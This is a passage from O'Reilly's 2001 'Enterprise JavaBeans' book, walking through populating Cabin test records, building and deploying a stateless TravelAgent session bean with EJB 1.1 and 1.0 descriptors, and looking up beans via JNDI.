            // Add 10 cabins to deck 3 of ship 1.
            makeCabins(home, 21, 30, 3, 1);

            // Add 10 cabins to deck 1 of ship 2.
            makeCabins(home, 31, 40, 1, 2);
            // Add 10 cabins to deck 2 of ship 2.
            makeCabins(home, 41, 50, 2, 2);
            // Add 10 cabins to deck 3 of ship 2.
            makeCabins(home, 51, 60, 3, 2);

            // Add 10 cabins to deck 1 of ship 3.
            makeCabins(home, 61, 70, 1, 3);
            // Add 10 cabins to deck 2 of ship 3.
            makeCabins(home, 71, 80, 2, 3);
            // Add 10 cabins to deck 3 of ship 3.
            makeCabins(home, 81, 90, 3, 3);
            // Add 10 cabins to deck 4 of ship 3.
            makeCabins(home, 91, 100, 4, 3);

            for (int i = 1; i <= 100; i++){
                CabinPK pk = new CabinPK();
                pk.id = i;
                Cabin cabin = home.findByPrimaryKey(pk);
                System.out.println("PK = "+i+", Ship = "+cabin.getShip()
                  + ", Deck = "+cabin.getDeckLevel()
                  + ", BedCount = "+cabin.getBedCount()
                  + ", Name = "+cabin.getName());
            }

        } catch (java.rmi.RemoteException re) {re.printStackTrace();}
          catch (javax.naming.NamingException ne) {ne.printStackTrace();}
          catch (javax.ejb.CreateException ce) {ce.printStackTrace();}
          catch (javax.ejb.FinderException fe) {fe.printStackTrace();}
  }

  public static javax.naming.Context getInitialContext()
       throws javax.naming.NamingException{
    Properties p = new Properties();
    // ... Specify the JNDI properties specific to the vendor.
    return new javax.naming.InitialContext(p);
  }

  public static void makeCabins(CabinHome home, int fromId, int toId,
                                int deckLevel, int shipNumber)
    throws RemoteException, CreateException {

    int bc = 3;
    for (int i = fromId; i <= toId; i++) {
        Cabin cabin = home.create(i);
        int suiteNumber = deckLevel*100+(i-fromId);
        cabin.setName("Suite "+suiteNumber);
        cabin.setDeckLevel(deckLevel);
        bc = (bc==3)?2:3;
        cabin.setBedCount(bc);
        cabin.setShip(shipNumber);
    }
  }
}

Copy this code into your IDE, save, and recompile the Client_2 application. When it compiles successfully, run it. There's lots of output--here are the first few lines:

PK = 1, Ship = 1, Deck = 1, BedCount = 3, Name = Master Suite
PK = 2, Ship = 1, Deck = 1, BedCount = 2, Name = Suite 100
PK = 3, Ship = 1, Deck = 1, BedCount = 3, Name = Suite 101
PK = 4, Ship = 1, Deck = 1, BedCount = 2, Name = Suite 102
PK = 5, Ship = 1, Deck = 1, BedCount = 3, Name = Suite 103
PK = 6, Ship = 1, Deck = 1, BedCount = 2, Name = Suite 104
PK = 7, Ship = 1, Deck = 1, BedCount = 3, Name = Suite 105
...

You now have 100 cabin records in your CABIN table, representing 100 cabin entities in your EJB system. This provides a good set of test data for the session bean we will create in the next section, and for subsequent examples throughout the book.

Previous | Home | Next
4.1. Choosing and Setting Up an EJB Server | Book Index | 4.3. Developing a Session Bean
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Developing a Session Bean (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

4.3. Developing a Session Bean

Session beans act as agents to the client, controlling workflow (the business process) and filling the gaps between the representation of data by entity beans and the business logic that interacts with that data. Session beans are often used to manage interactions between entity beans and can perform complex manipulations of beans to accomplish some task. Since we have only defined one entity bean so far, we will focus on a complex manipulation of the Cabin bean rather than the interactions of the Cabin bean with other entity beans. In Chapter 7, "Session Beans", after we have had the opportunity to develop other entity beans, interactions of entity beans within session beans will be explored in greater detail.

Client applications and other beans use the Cabin bean in a variety of ways. Some of these uses were predictable when the Cabin bean was defined, but most were not. After all, an entity bean represents data--in this case, data describing a cabin. The uses to which we put that data will change over time--hence the importance of separating the data itself from the workflow. In Titan's business system, for example, we will need to list and report on cabins in ways that were not predictable when the Cabin bean was defined. Rather than change the Cabin bean every time we need to look at it differently, we will obtain the information we need using a session bean. Changing the definition of an entity bean should only be done within the context of a larger process--for example, a major redesign of the business system.

In Chapter 1, "Introduction" and Chapter 2, "Architectural Overview", we talked hypothetically about a TravelAgent bean that was responsible for the workflow of booking a passage on a cruise. This session bean will be used in client applications accessed by travel agents throughout the world. In addition to booking tickets, the TravelAgent bean also provides information about which cabins are available on the cruise. In this chapter, we will develop the first implementation of this listing behavior in the TravelAgent bean. The listing method we develop in this example is admittedly very crude and far from optimal. However, this example is useful for demonstrating how to develop a very simple stateless session bean and how these session beans can manage other beans. In Chapter 7, "Session Beans", we will rewrite the listing method. This "list cabins" behavior is used by travel agents to provide customers with a list of cabins that can accommodate the customer's needs. The Cabin bean does not directly support the kind of list, nor should it. The list we need is specific to the TravelAgent bean, so it's the Travel- Agent bean's responsibility to query the Cabin beans and produce the list.

Before we get started, we will need to create a development directory for the TravelAgent bean, as we did for the Cabin bean. We name this directory travelagent and nest it below the com/titan directory, which also contains the cabin directory (see Chapter 4, "Developing Your First Enterprise Beans").

Figure 4-7. Directory structure for the TravelAgent bean

4.3.1. TravelAgent: The Remote Interface

As before, we start by defining the remote interface so that our focus is on the business purpose of the bean, rather than its implementation. Starting small, we know that the TravelAgent will need to provide a method for listing all the cabins available with a specified bed count for a specific ship. We'll call that method listCabins(). Since we only need a list of cabin names and deck levels, we'll define listCabins() to return an array of Strings. Here's the remote interface for TravelAgent:

package com.titan.travelagent;

import java.rmi.RemoteException;
import javax.ejb.FinderException;

public interface TravelAgent extends javax.ejb.EJBObject {

    // String elements follow the format "id, name, deck level"
    public String [] listCabins(int shipID, int bedCount)
        throws RemoteException;
}

Copy the TravelAgent interface definition into your IDE, and save it to the travel- agent directory. Compile the class to ensure that it is correct.

4.3.2. TravelAgentHome: The Home Interface

The second step in the development of any bean is to create the home interface. The home interface for a session bean defines the create methods that initialize a new session bean for use by a client.

Find methods are not used in session beans; they are used with entity beans to locate persistent entities for use on a client. Unlike entity beans, session beans are not persistent and do not represent data in the database, so a find method would not be meaningful; there is no specific session to locate. A session bean is dedicated to a client for the life of that client (or less). For the same reason, we don't need to worry about primary keys; since session beans don't represent persistent data, we don't need a key to access that data.

package com.titan.travelagent;

import java.rmi.RemoteException;
import javax.ejb.CreateException;

public interface TravelAgentHome extends javax.ejb.EJBHome {
    public TravelAgent create()
        throws RemoteException, CreateException;
}

In the case of the TravelAgent bean, we only need a simple create() method to get a reference to the bean. Invoking this create() method returns a Travel-Agent remote reference that the client can use for the reservation process. Copy the TravelAgentHome definition into your IDE and save it to the travelagent directory. Compile the class to ensure that it is correct.

4.3.3. TravelAgentBean: The Bean Class

Using the remote interface as a guide, we can define the TravelAgentBean class that implements the listCabins() method. The following code contains the complete definition of TravelAgentBean for this example. Copy the TravelAgentBean definition into your IDE and save it to the travelagent directory. Compile the class to ensure that it is correct. EJB 1.1 and EJB 1.0 differ significantly in how one bean locates another, so I have provided separate TravelAgentBean listings for each version.

4.3.3.1. EJB 1.1: TravelAgentBean

Here's the code for the EJB 1.1 version of the TravelAgentBean:

package com.titan.travelagent;

import com.titan.cabin.Cabin;
import com.titan.cabin.CabinHome;
import com.titan.cabin.CabinPK;
import java.rmi.RemoteException;
import javax.naming.InitialContext;
import javax.naming.Context;
import java.util.Properties;
import java.util.Vector;

public class TravelAgentBean implements javax.ejb.SessionBean {

   public void ejbCreate() {
   // Do nothing.
   }
   public String [] listCabins(int shipID, int bedCount) {

        try {
            javax.naming.Context jndiContext = new InitialContext();
            Object obj = jndiContext.lookup("java:comp/env/ejb/CabinHome");

            CabinHome home = (CabinHome)
                javax.rmi.PortableRemoteObject.narrow(obj, CabinHome.class);

            Vector vect = new Vector();
            CabinPK pk = new CabinPK();
            Cabin cabin;
            for (int i = 1; ; i++) {
               pk.id = i;
               try {
                  cabin = home.findByPrimaryKey(pk);
                } catch(javax.ejb.FinderException fe) {
                    break;
                }
                // Check to see if the bed count and ship ID match.
                if (cabin.getShip() == shipID &&
                    cabin.getBedCount() == bedCount) {
                  String details =
                    i+","+cabin.getName()+","+cabin.getDeckLevel();
                  vect.addElement(details);
                }
            }

            String [] list = new String[vect.size()];
            vect.copyInto(list);
            return list;

       } catch(Exception e) {throw new EJBException(e);}
   }

   private javax.naming.Context getInitialContext()
   throws javax.naming.NamingException {
      Properties p = new Properties();
      // ... Specify the JNDI properties specific to the vendor.
      return new javax.naming.InitialContext(p);
   }

   public void ejbRemove(){}
   public void ejbActivate(){}
   public void ejbPassivate(){}
   public void setSessionContext(javax.ejb.SessionContext cntx){}
}

Examining the listCabins() method in detail, we can address the implementation in pieces, starting with the use of JNDI to locate the CabinHome:

javax.naming.Context jndiContext = new InitialContext();

Object obj = jndiContext.lookup("java:comp/env/ejb/CabinHome");

CabinHome home = (CabinHome)
    javax.rmi.PortableRemoteObject.narrow(obj, CabinHome.class);

Beans are clients to other beans, just like client applications. This means that they must interact with other beans in the same way that client applications interact with beans. In order for one bean to locate and use another bean, it must first locate and obtain a reference to the bean's EJB home. This is accomplished using JNDI, in exactly the same way we used JNDI to obtain a reference to the CabinHome in the client application we developed earlier. In EJB 1.1, all beans have a default JNDI context called the environment context, which was discussed a little in Chapter 3, "Resource Management and the Primary Services". The default context exists in the name space (directory) called "java:comp/env" and its subdirectories. When the bean is deployed, any beans it uses are mapped into the subdirectory "java:comp/env/ejb", so that bean references can be obtained at runtime through a simple and consistent use of the JNDI default context. We'll come back to this when we take a look at the deployment descriptor for the TravelAgent bean below.

Once the EJB home of the Cabin bean is obtained, we can use it to produce a list of cabins that match the parameters passed. The following code loops through all the Cabin beans and produces a list that includes only those cabins with the ship and bed count specified:

Vector vect = new Vector();
CabinPK pk = new CabinPK();
Cabin cabin;
for (int i = 1; ; i++) {
   pk.id = i;
   try {
       cabin = home.findByPrimaryKey(pk);
   } catch(javax.ejb.FinderException fe){
       break;
   }
   // Check to see if the bed count and ship ID match.
   if (cabin.getShip() == shipID && cabin.getBedCount() == bedCount) {
      String details = i+","+cabin.getName()+","+cabin.getDeckLevel();
      vect.addElement(details);
   }
}

This method simply iterates through all the primary keys, obtaining a remote reference to each Cabin bean in the system and checking whether its ship and bedCount match the parameters passed in. The for loop continues until a FinderException is thrown, which would probably occur when a primary key is used that isn't associated with a bean. (This isn't the most robust code possible, but it will do for now.) Following this block of code, we simply copy the Vector's contents into an array and return it to the client.

While this is a very crude approach to locating the right Cabin beans--we will define a better method in Chapter 7, "Session Beans"--it is adequate for our current purposes. The purpose of this example is to illustrate that the workflow associated with this listing behavior is not included in the Cabin bean nor is it embedded in a client application. Workflow logic, whether it's a process like booking a reservation or obtaining a list, is placed in a session bean.

4.3.3.2. EJB 1.0: TravelAgentBean

Here's the code for the EJB 1.0 version of the TravelAgentBean:

package com.titan.travelagent;

import com.titan.cabin.Cabin;
import com.titan.cabin.CabinHome;
import com.titan.cabin.CabinPK;
import java.rmi.RemoteException;
import javax.naming.InitialContext;
import javax.naming.Context;
import java.util.Properties;
import java.util.Vector;

public class TravelAgentBean implements javax.ejb.SessionBean {

   public void ejbCreate() {
   // Do nothing.
   }
   public String [] listCabins(int shipID, int bedCount)
      throws RemoteException {
        try {
            Context jndiContext = getInitialContext();
            CabinHome home = (CabinHome)jndiContext.lookup("CabinHome");

            Vector vect = new Vector();
            CabinPK pk = new CabinPK();
            Cabin cabin;
            for (int i = 1; ; i++) {
               pk.id = i;
               try {
                   cabin = home.findByPrimaryKey(pk);
               } catch(javax.ejb.FinderException fe) {
                   break;
               }
               // Check to see if the bed count and ship ID match.
               if (cabin.getShip() == shipID &&
                   cabin.getBedCount() == bedCount) {
                 String details =
                   i+","+cabin.getName()+","+cabin.getDeckLevel();
                 vect.addElement(details);
               }
            }

            String [] list = new String[vect.size()];
            vect.copyInto(list);
            return list;

       } catch (javax.naming.NamingException ne) {
            throw new RemoteException("Unable to locate CabinHome",ne);
       }
   }

   private javax.naming.Context getInitialContext()
   throws javax.naming.NamingException {
      Properties p = new Properties();
      // ... Specify the JNDI properties specific to the vendor.
      return new javax.naming.InitialContext(p);
   }

   public void ejbRemove(){}
   public void ejbActivate(){}
   public void ejbPassivate(){}
   public void setSessionContext(javax.ejb.SessionContext cntx){}
}

The most significant difference between this code and the EJB 1.1 code is the use of JNDI to locate the CabinHome:

Context jndiContext = getInitialContext();
CabinHome cabinHome = (CabinHome)jndiContext.lookup("CabinHome");

Beans interact with other beans in the same way that clients interact with beans. In order for one bean to locate and use another bean, it must first locate and obtain a reference to the bean's EJB home. This is accomplished using JNDI, in exactly the same way we used JNDI to obtain a reference to the CabinHome in the client application we developed earlier. If you take a close look at the method getInitialContext(), you will discover that it is exactly the same as the getInitialContext() method in the client classes defined earlier. The only difference is that the method is not static. You will need to change this code to match the correct settings for your EJB server. Once the EJB home of the Cabin bean is obtained, we can use it to produce our list of cabins that match the parameters passed.

The logic for finding beans with cabins that match the desired parameters is the same in EJB 1.1 and EJB 1.0. Again, it's a crude approach: we will define a better method in Chapter 7, "Session Beans". Our purpose here is to demonstrate that the workflow associated with this listing behavior is not included in the Cabin bean nor is it embedded in a client application. Workflow logic, whether it's a process like booking a reservation or obtaining a list, is placed in a session bean.

4.3.4. EJB 1.1: TravelAgent Bean's Deployment Descriptor

The TravelAgent bean uses an XML deployment descriptor similar to the one used for the Cabin entity bean. Here is the ejb-jar.xml file used to deploy the TravelAgent. In Chapter 10, "XML Deployment Descriptors", you will learn how to deploy several beans in one deployment descriptor, but for now the TravelAgent and Cabin beans are deployed separately.

<?xml version="1.0"?>

<!DOCTYPE ejb-jar PUBLIC "-//Sun Microsystems, Inc.//DTD Enterprise
JavaBeans 1.1//EN" "http://java.sun.com/j2ee/dtds/ejb-jar_1_1.dtd">
<ejb-jar>
 <enterprise-beans>
  <session>
    <ejb-name>TravelAgentBean</ejb-name>
    <home>com.titan.travelagent.TravelAgentHome</home>
    <remote>com.titan.travelagent.TravelAgent</remote>
    <ejb-class>com.titan.travelagent.TravelAgentBean</ejb-class>
    <session-type>Stateless</session-type>
    <transaction-type>Container</transaction-type>

    <ejb-ref>
      <ejb-ref-name>ejb/CabinHome</ejb-ref-name>
      <ejb-ref-type>Entity</ejb-ref-type>
      <home>com.titan.cabin.CabinHome</home>
      <remote>com.titan.cabin.Cabin</remote>
   </ejb-ref>
  </session>
 </enterprise-beans>

 <assembly-descriptor>
   <security-role>
      <description>
         This role represents everyone who is allowed full access
         to the cabin bean.
      </description>
     <role-name>everyone</role-name>
   </security-role>

   <method-permission>
     <role-name>everyone</role-name>
     <method>
         <ejb-name>TravelAgentBean</ejb-name>
         <method-name>*</method-name>
     </method>
   </method-permission>

   <container-transaction>
     <method>
        <ejb-name>TravelAgentBean</ejb-name>
        <method-name>*</method-name>
     </method>
     <trans-attribute>Required</trans-attribute>
   </container-transaction>
 </assembly-descriptor>
</ejb-jar>

Other than the <session-type>and <ejb-ref> elements, this XML deployment descriptor should make sense since it uses many of the same elements as the Cabin bean's. The <session-type> element can be Stateful or Stateless to indicate which type of session bean is used.

The <ejb-ref> element is used at deployment time to map the bean references used within the TravelAgent bean. In this case, the <ejb-ref> element describes the Cabin bean, which we already deployed. The <ejb-ref-name> element specifies the name that must be used by the TravelAgent bean to obtain a reference to the Cabin bean's home. The <ejb-ref-type> tells the container what kind of bean it is, Entity or Session. The <home> and <remote> elements specify the fully qualified interface names of the Cabin's home and remote bean interfaces.

When the bean is deployed, the <ejb-ref> will be mapped to the Cabin bean in the EJB server. This is a vendor-specific process, but the outcome should always be the same. When the TravelAgent does a JNDI lookup using the context name "java:comp/env/ejb/CabinHome" it will obtain a remote reference to the Cabin bean's home. The purpose of the <ejb-ref> element is to eliminate network specific and implementation specific use of JNDI to obtain bean references. This makes a bean more portable because the network location and JNDI service provider can change without impacting the bean code or even the XML deployment descriptor.

4.3.5. EJB 1.0: The TravelAgent Beans' Deployment Descriptor

Deploying the TravelAgent bean is essentially the same as deploying the Cabin bean, except we use a SessionDescriptor instead of an EntityDescriptor. Here is the definition of the MakeDD for creating and serializing a SessionDescriptor for the TravelAgentBean:

package com.titan.travelagent;

import javax.ejb.deployment.*;
import javax.naming.CompoundName;
import java.util.*;
import java.io.*;

public class MakeDD {

    public static void main(String [] args) {
        try {

            if (args.length <1) {
                System.out.println("must specify target directory");
                return;
            }

            SessionDescriptor sd = new SessionDescriptor();

            sd.setEnterpriseBeanClassName(
                "com.titan.travelagent.TravelAgentBean");
            sd.setHomeInterfaceClassName(
                "com.titan.travelagent.TravelAgentHome");
            sd.setRemoteInterfaceClassName(
                "com.titan.travelagent.TravelAgent");

            sd.setSessionTimeout(300);

            sd.setStateManagementType(SessionDescriptor.STATELESS_SESSION);

            ControlDescriptor cd = new ControlDescriptor();
            cd.setIsolationLevel(ControlDescriptor.TRANSACTION_READ_COMMITTED);
            cd.setMethod(null);
            cd.setRunAsMode(ControlDescriptor.CLIENT_IDENTITY);
            cd.setTransactionAttribute(ControlDescriptor.TX_REQUIRED);
            ControlDescriptor [] cdArray = {cd};
            sd.setControlDescriptors(cdArray);

            CompoundName jndiName =
            new CompoundName("TravelAgentHome", new Properties());
            sd.setBeanHomeName(jndiName);

            String fileSeparator =
                System.getProperties().getProperty("file.separator");
            if(! args[0].endsWith(fileSeparator))
                args[0] += fileSeparator;

            FileOutputStream fis =
                new FileOutputStream(args[0]+"TravelAgentDD.ser");
            ObjectOutputStream oos = new ObjectOutputStream(fis);
            oos.writeObject(sd);
            oos.flush();
            oos.close();
            fis.close();
        } catch(Throwable t) { t.printStackTrace(); }
    }
}

The MakeDD definition for the TravelAgent bean is essentially the same as the one for the Cabin bean. The difference is that we are using a SessionDescriptor instead of an EntityDescriptor and the bean class names and JNDI name are different. We do not specify any container-managed fields because session beans are not persistent.

After instantiating the javax.ejb.SessionDescriptor, the MakeDD application sets the remote interface and bean class names:

sd.setEnterpriseBeanClassName("com.titan.travelagent.TravelAgentBean");
sd.setHomeInterfaceClassName("com.titan.travelagent.TravelAgentHome");
sd.setRemoteInterfaceClassName("com.titan.travelagent.TravelAgent");

Next, we set two properties that control session timeouts (what happens if the bean is idle) and state management:

sd.setSessionTimeout(300);
sd.setStateManagementType(SessionDescriptor.STATELESS_SESSION);

setSessionTimeout() specifies how many seconds the session should remain alive if it is not being used. In MakeDD we specify 300 seconds. This means that if no method is invoked on the session for over five minutes, it will be removed and will no longer be available for use.[3] If a method is invoked on a bean that has timed out, a javax.ejb.ObjectNotFoundException will be thrown. Once a stateful session bean has timed out, all of its accumulated state is lost. When a session bean times out, the client must create a new TravelAgent bean by invoking the TravelAgentHome.create() method. The setStateManagement() method determines whether the bean is stateful or stateless. At this point in it its development, the TravelAgentBean doesn't have any conversational state that needs to be maintained from one method to the next, so we make it a stateless session bean, which is more efficient. Both of these methods are unique to session descriptors; there are no corresponding methods in the EntityDescriptor class.

[3] Whether a session timeout is measured from creation time (the time the session bean is created) or from the time of last activity (when the last business method is invoked) is not clearly described in EJB 1.0. As a result, some vendors set the timeout relative to one of these two events (creation or last activity). Consult your vendor's documentation to determine your EJB server's timeout policy.

The next section specifies the default ControlDescriptor for the TravelAgentBean. These settings are the same as those used in the Cabin bean. The isolation level determines the visibility of the data being accessed. Chapter 8, "Transactions" explores isolation levels in more detail. The transactional attribute, TX_REQUIRED, tells the EJB server that this bean must be included in the transactional scope of the client invoking it; if the client is not in a transaction, a new transaction must be created for the method invocation, as follows:

ControlDescriptor cd = new ControlDescriptor();
cd.setIsolationLevel(ControlDescriptor.TRANSACTION_READ_COMMITTED);
cd.setMethod(null);
cd.setRunAsMode(ControlDescriptor.CLIENT_IDENTITY);
cd.setTransactionAttribute(ControlDescriptor.TX_REQUIRED);
ControlDescriptor [] cdArray = {cd};
sd.setControlDescriptors(cdArray);

The next section creates a JNDI name for TravelAgent's EJB home. When we use JNDI to look up the TravelAgentHome, this will be the name we specify:

CompoundName jndiName = new CompoundName("TravelAgentHome",new Properties());

Finally, the MakeDD serializes the SessionDescriptor to a file named TravelAgentDD.ser and saves it to the travelagent directory.

You will need to compile and run the MakeDD class before continuing:

\dev % java com.titan.travelagent.MakeDD com/titan/travelagent

F:\..\dev>java com.titan.travelagent.MakeDD com\titan\travelagent

4.3.6. EJB 1.1: The JAR File

To place the TravelAgent bean in a JAR file, we use the same process we used for the Cabin bean. We shrink-wrap the TravelAgent bean class and its deployment descriptor into a JAR file and save to the com/titan/travelagent directory:

\dev % jar cf cabin.jar com/titan/travelagent/*.class META-INF/ejb-jar.xml

F:\..\dev>jar cf cabin.jar com\titan\travelagent\*.class META-INF\ejb-jar.xml

You might have to create the META-INF directory first, and copy ejb-jar.xml into that directory. The TravelAgent bean is now complete and ready to be deployed.

4.3.7. EJB 1.0: The JAR File

To place the TravelAgent bean in a JAR file, we use the same process we used for the Cabin bean. First, we have to create a manifest file, which we save in the com/titan/travelagent directory:

Name: com/titan/travelagent/TravelAgentDD.ser
Enterprise-Bean: True

Now that the manifest is ready, we can shrink-wrap the TravelAgent bean so that it's ready for deployment:

\dev % jar cmf com/titan/travelagent/manifest \
TravelAgent.jar com/titan/travelagent/*.class com/titan/travelagent/*.ser

F:\..\dev>jar cmf com\titan\travelagent\manifest TravelAgent.jar
com\titan\travelagent\*.class com\titan\travelagent\*.ser

The TravelAgent bean is now complete and ready to be deployed.

4.3.8. Deploying the TravelAgent Bean

To make your TravelAgent bean available to a client application, you need to use the deployment utility or wizard of your EJB server. The deployment utility reads the JAR file to add the TravelAgent bean to the EJB server environment. Unless your EJB server has special requirements, it is unlikely that you will need to change or add any new attributes to the bean. You will not need to create a database table for this example, since the TravelAgent bean is using only the Cabin bean and is not itself persistent. Deploy the TravelAgent bean and proceed to the next section.

4.3.9. Creating a Client Application

To show that our session bean works, we'll create a simple client application that uses it. This client simply produces a list of cabins assigned to ship 1 with a bed count of 3. Its logic is similar to the client we created earlier to test the Cabin bean: it creates a context for looking up TravelAgentHome, creates a TravelAgent bean, and invokes listCabins() to generate a list of the cabins available. Here's the code:

package com.titan.travelagent;

import com.titan.cabin.CabinHome;
import com.titan.cabin.Cabin;
import com.titan.cabin.CabinPK;

import javax.naming.InitialContext;
import javax.naming.Context;
import javax.naming.NamingException;
import javax.ejb.CreateException;
import java.rmi.RemoteException;
import java.util.Properties;

public class Client_1 {
    public static int SHIP_ID = 1;
    public static int BED_COUNT = 3;

    public static void main(String [] args) {
        try {
           Context jndiContext = getInitialContext();

           Object ref = (TravelAgentHome)
               jndiContext.lookup("TravelAgentHome");
           TravelAgentHome home = (TravelAgentHome)
               // EJB 1.0: Use Java cast instead of narrow()
               PortableRemoteObject.narrow(ref,TravelAgentHome.class);

           TravelAgent reserve = home.create();

           // Get a list of all cabins on ship 1 with a bed count of 3.
           String list [] = reserve.listCabins(SHIP_ID,BED_COUNT);

           for(int i = 0; i < list.length; i++){
              System.out.println(list[i]);
           }

        } catch(java.rmi.RemoteException re){re.printStackTrace();}
          catch(Throwable t){t.printStackTrace();}
  }
  static public Context getInitialContext() throws Exception {
    Properties p = new Properties();
    // ... Specify the JNDI properties specific to the vendor.
    return new InitialContext(p);
  }
}

The output should look like this:

1,Master Suite                  ,1
3,Suite 101                     ,1
5,Suite 103                     ,1
7,Suite 105                     ,1
9,Suite 107                     ,1
12,Suite 201                     ,2
14,Suite 203                     ,2
16,Suite 205                     ,2
18,Suite 207                     ,2
20,Suite 209                     ,2
22,Suite 301                     ,3
24,Suite 303                     ,3
26,Suite 305                     ,3
28,Suite 307                     ,3
30,Suite 309                     ,3

You have now successfully created the first piece of the TravelAgent session bean: a method that obtains a list of cabins by manipulating the Cabin bean entity.

Previous | Home | Next
4.2. Developing an Entity Bean | Book Index | 5. The Client View
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Client View (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

Chapter 5. The Client View

Contents:

Locating Beans with JNDI
The EJB Client-Side API

Developing the Cabin bean and the TravelAgent bean should have raised your confidence, but it should also have raised a lot of questions. So far, we have glossed over most of the details involved in developing, deploying, and accessing these beans. In this chapter and the ones that follow, we will slowly peel away the layers of the Enterprise JavaBeans onion to expose the details of EJB application development.

This chapter focuses specifically on the client's view of an EJB system. The client, whether it is an application or another bean, doesn't work directly with the beans in the EJB system. Instead, clients interact with a set of interfaces that provide access to beans and their business logic. These interfaces consist of the JNDI API and an EJB client-side API. JNDI allows us to find and access beans regardless of their location on the network; the EJB client-side API is the set of interfaces and classes that a developer uses on the client to interact with beans.

The best approach to this chapter is to read about a feature of the client view and then try to use that feature in the Cabin bean and TravelAgent bean client applications you worked with in Chapter 4, "Developing Your First Enterprise Beans". This will provide you with hands-on experience and a much clearer understanding of the concepts. Have fun, experiment, and you'll be sure to understand the fundamentals.

5.1. Locating Beans with JNDI

In Chapter 4, "Developing Your First Enterprise Beans", the client application started by creating an InitialContext, which it then used to get a remote reference to the homes of the Cabin and TravelAgent beans. The InitialContext is part of a larger API called the Java Naming and Directory Interface ( JNDI). We use JNDI to look up an EJB home in an EJB server just like you might use a phone book to find the home number of a friend or business associate.

JNDI is a standard Java extension that provides a uniform API for accessing a wide range of services. In this respect, it is somewhat similar to JDBC, which provides uniform access to different relational databases. Just as JDBC lets you write code that doesn't care whether it's talking to an Oracle database or a Sybase database, JNDI lets you write code that can access different directory and naming services, like LDAP, Novell Netware NDS, CORBA Naming Service, and the naming services provided by EJB servers. EJB servers are required to support JNDI by organizing beans into a directory structure and providing a JNDI driver, called a service provider, for accessing that directory structure. Using JNDI, an enterprise can organize its beans, services, data, and other resources in a large virtual directory structure, which can provide a very powerful mechanism for binding together normally disparate systems.

The great thing about JNDI is that it is virtual and dynamic. JNDI is virtual because it allows one directory service to be linked to another through simple URLs. The URLs in JNDI are analogous to HTML links. Clicking on a link in HTML allows a user to load the contents of a web page. The new web page could be downloaded from the same host as the starting page or from a completely different web site--the location of the linked page is transparent to the user. Likewise, using JNDI, you can drill down through directories to files, printers, EJB home objects, and other resources using links that are similar to HTML links. The directories and subdirectories can be located in the same host or can be physically hosted at completely different locations. The user doesn't know or care where the directories are actually located. As a developer or administrator, you can create virtual directories that span a variety of different services over many different physical locations.

JNDI is dynamic because it allows the JNDI drivers (a.k.a. service providers) for specific types of directory services to be loaded at runtime. A driver maps a specific kind of directory service into the standard JNDI class interfaces. Drivers have been created for LDAP, Novell NetWare NDS, Sun Solaris NIS+, CORBA Naming Service, and many other types of naming and directory services. When a link to a different directory service is chosen, the driver for that type of directory service is automatically loaded from the directory's host, if it is not already resident on the user's machine. Automatically downloading JNDI drivers makes it possible for a client to navigate across arbitrary directory services without knowing in advance what kinds of services it is likely to find.

JNDI allows the application client to view the EJB server as a set of directories, like directories in a common filesystem. After the client application locates and obtains a remote reference to the EJB home using JNDI, the client can use the EJB home to obtain a remote reference to a bean. In the TravelAgent bean and the Cabin bean, which you worked with in Chapter 4, "Developing Your First Enterprise Beans", you used the method getInitialContext() to get a JNDI InitialContext object, which looked as follows:

public static Context getInitialContext() throws javax.naming.NamingException {
   Properties p = new Properties();
    // ... Specify the JNDI properties specific to the vendor.
    return new javax.naming.InitialContext(p);
}

An initial context is the starting point for any JNDI lookup--it's similar in concept to the root of a filesystem. The way you create an initial context is peculiar, but not fundamentally difficult. You start with a properties table of type Properties. This is essentially a hash table to which you add various values that determine the kind of initial context you get.

Of course, as mentioned in Chapter 4, "Developing Your First Enterprise Beans", this code will change depending on how your EJB vendor has implemented JNDI. For Gemstone/J, getInitialContext() might look something like this:

public static Context getInitialContext() throws Exception {
    Properties p = new Properties();
    p.put(com.gemstone.naming.Defaults.NAME_SERVICE_HOST,"localhost");
    String port = System.getProperty("com.gemstone.naming.NameServicePort",
                                     "10200");
    p.put(com.gemstone.naming.Defaults.NAME_SERVICE_PORT, port);
    p.put(Context.INITIAL_CONTEXT_FACTORY,"com.gemstone.naming.GsCtxFactory");
    return new InitialContext(p);
}

For BEA's WebLogic Server, this method would be coded as:

public static Context getInitialContext() throws Exception {
    Properties p = new Properties();
    p.put(Context.INITIAL_CONTEXT_FACTORY,
        "weblogic.jndi.T3InitialContextFactory");
    p.put(Context.PROVIDER_URL, "t3://localhost:7001");
    return new InitialContext(p);
}

For a more detailed explanation of JNDI, see O'Reilly's Java™ Enterprise in a Nutshell, by David Flanagan, Jim Farley, William Crawford, and Kris Magnusson.

Previous | Home | Next
4.3. Developing a Session Bean | Book Index | 5.2. The EJB Client-Side API
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The EJB Client-Side API (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

5.2. The EJB Client-Side API

Enterprise bean developers are required to provide a bean class, two remote interfaces, and for entity beans, a primary key class. Of these types, the remote interfaces and primary key class are visible to the client, while the bean class is not. The remote interface, home interface, and primary key contribute to the client-side API in EJB. The methods defined in these types as well as the methods of their supertypes provide the mechanisms that clients use to interact with an EJB business system.

The following sections examine in more detail the home interface, the remote interface, and the primary key, as well as other types that make up EJB's client-side API. This will provide you with a better understanding of how the client-side API is used and its relationship with the bean class on the EJB server.

5.2.1. EJB 1.1: Java RMI-IIOP Conformance Requirement

Enterprise JavaBeans 1.0 defines its distributed interfaces in terms of Java RMI. RMI assumes that both the client and server are Java applications, so it takes full advantage of Java types as arguments and return values. Enterprise JavaBeans 1.1 also defines its distributed interfaces in terms of Java RMI, but it enforces compliance with CORBA's interface, reference, and value types by requiring that only Java RMI-IIOP types be used. In other words, the underlying protocol can be anything that the vendor wants as long as it supports the types of interfaces and arguments specified by Java RMI-IIOP. In a future version of EJB, Java RMI-IIOP ( Java RMI over IIOP) will be the required programming model for accessing beans. Requiring partial support for the Java RMI-IIOP standard ensures that early Java RMI-IIOP adopters are supported and makes for a seamless transition for other vendors in the future.

